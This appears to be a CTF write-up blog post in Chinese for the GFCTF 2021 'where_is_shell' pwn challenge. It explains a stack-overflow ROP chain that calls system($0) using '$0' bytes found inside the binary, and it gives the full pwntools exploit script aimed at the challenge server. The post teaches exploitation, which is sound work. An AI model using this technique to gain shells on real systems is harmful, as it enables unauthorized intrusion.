[GFCTF 2021]where_is_shell :)shell use new posture

bamuwe發表於2024-03-16

[GFCTF 2021]where_is_shell

  • shell的特殊姿勢

image-20240316122106483

看上去很簡單的棧溢位,但是問題在於找不到能用的/bin/sh或者sh

這裡出現了一個shell的新姿勢:可以利用system($0)獲得shell許可權,$0在機器碼中為 \x24\x30

image-20240316122245239

tips函式中正好有 \x24\x30可以用來構造,所以需要取出0x400541

關於ida開啟機器碼:Option->general->Number of opcode改成5

from pwn import *
#io = process('./shell')
io = remote('node4.anna.nssctf.cn',28065)
elf = ELF('./shell')
pop_rdi = 0x00000000004005e3 #: pop rdi ; ret
sys_addr = 0x400557
ret_addr = 0x0000000000400416 #: ret
padding = 0x10+8

payload = b'A'*padding+p64(ret_addr)+p64(pop_rdi)+p64(0x400541)+p64(elf.plt['system'])+p64(ret_addr)
io.sendline(payload)

io.interactive()

相關文章